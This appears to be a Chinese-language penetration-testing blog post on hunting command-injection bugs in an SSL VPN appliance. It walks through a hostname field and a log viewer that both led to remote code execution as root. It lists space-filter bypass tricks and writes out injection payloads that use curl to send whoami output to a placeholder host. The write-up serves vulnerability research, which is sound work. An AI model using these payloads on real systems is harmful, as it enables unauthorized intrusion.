还在为漏扫什么都扫不到,找不到高质量漏洞只能凑低危、风险提示交差而烦恼吗?本期给大家分享一些漏洞挖掘工作中命令注入漏洞的挖掘思路和技巧,学会之后再也不愁找不到漏洞,废话不多说,上菜。
001 XSS -> RCE
测试目标是一个SSL VPN设备,功能点是修改主机名称,主机名称会显示到首页。经验丰富的朋友很容易就能想到XSS测试,然后漏扫一梭子是吧?没错,存在存储型XSS:
在漏扫没扫到漏洞的情况下,你是否会觉得此处安全了?要是搁以前,我也这么认为的,要不是灵光一现想到这是设备类的,不是单纯的web,我也不会发现命令注入,也就没有这篇文章了。
此处请求提交的数据经过两次url解码后是:{"hostname":"aa"}
Fuzz时发现响应状态有2类,True和False,False会显示部分错误原因:
- 修改成功时返回True:
- 长度超出范围时返回:
包含空格时返回:
很典型的无回显,利用web界面日志管理功能只能看到操作Web界面时CLI执行的命令,无法看到执行的结果:
通常利用DNSLog外带去测试,但是也没发现任何请求记录,可能你以为没有漏洞想要放弃了,的确使用常规Payload测试没有发现漏洞,那就变换一下Payload,绕过空格过滤可以使用:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
我当时也不知道怎么想到用单引号的,总之就是那么灵光一现试了试:
';curl$IFS$9http://xxx/`whoami`;' '`curl$IFS$9http://xxx/$(whoami)`' ...
002 日志查看 -> RCE
怎么也想不到日志日查看居然也有命令注入,本来是查看日志:
请求数据包:
然后加上命令注入的Payload,root到手:
不知道客官品尝的怎么样。漏洞不难,只是很多人可能想不到而已,容易受到惯性思维的影响,觉得遇到搜索框就是SQL注入、XSS就忽略其它可能的漏洞了,漏扫工具扫不到就觉得安全了,如果多发散思维多想想多做做,你会发现RCE无处不在。
Comments | NOTHING